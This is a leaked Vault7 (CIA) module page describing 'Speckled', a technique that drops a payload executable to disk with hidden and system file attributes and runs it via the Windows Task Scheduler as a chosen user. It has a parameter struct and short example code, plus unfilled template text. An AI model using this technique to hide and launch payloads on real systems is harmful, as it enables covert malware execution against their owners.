Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Create Process And Choose A User To Run As Via The Task Scheduler (TaskSchedulerRun_SPKL - Speckled)
SECRET//NOFORN
OSB Library: Payload Deployment
Module Name: TaskSchedulerRun_SPKL - Speckled
Module Description: Describe how the technique works. All the cool things it does. Describe how cool the module writer is, etc.
PSP/OS Issues: No known PSPPersonal Security Product (Anti-Virus) issues. PSPs should be tested on a case by case basis as this technique may be alerting enough to tip the scale.
('excerpt' missing)
Sharing Level: Unilateral (Probably used in the wild)
Technique Origin: In-house (Probably used in the wild)
Notes: Any information that could be useful to anyone maintaining the code or using the code. i.e. This module uses Alternate Data Streams which are only available on NTFSNTMicrosoft operating system filesystem (Windows) volumes.
Module Specific Structures:
struct PARAM_SPKL
{
WCHAR *wcUser; //The name of the user you wish to execute as - if NULL the current user is used. Include Domain\\Username if required
WCHAR *wcTaskName; //Name of the task being used
WCHAR *wcTargetPath; //The target path of the executable to drop to disk
WCHAR *wcArgs; //Arguments for the payload on disk
DWORD dwAttribs; //The attributes of the target payload on disk
};
Example Code:
HANDLE hHandle = NULL;
IPayload *myPayload = new TaskSchedulerRun_SPKL();
PARAM_SPKL params;
SecureZeroMemory(¶ms, sizeof(PARAM_SPKL));
params.dwAttribs = FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM;
params.wcTargetPath = L"C:\\Test Folder\\MyTest.exe";
params.wcArgs = L"1 2 3";
params.wcTaskName = L"TaskName";
IPayload::PayloadErr pErr = myPayload->execute(improvedDummy, sizeof(improvedDummy), ¶ms, sizeof(params), &hHandle);INCLUDE DESCRIPTIVE LABELS FOR EACH MODULE
SECRET//NOFORN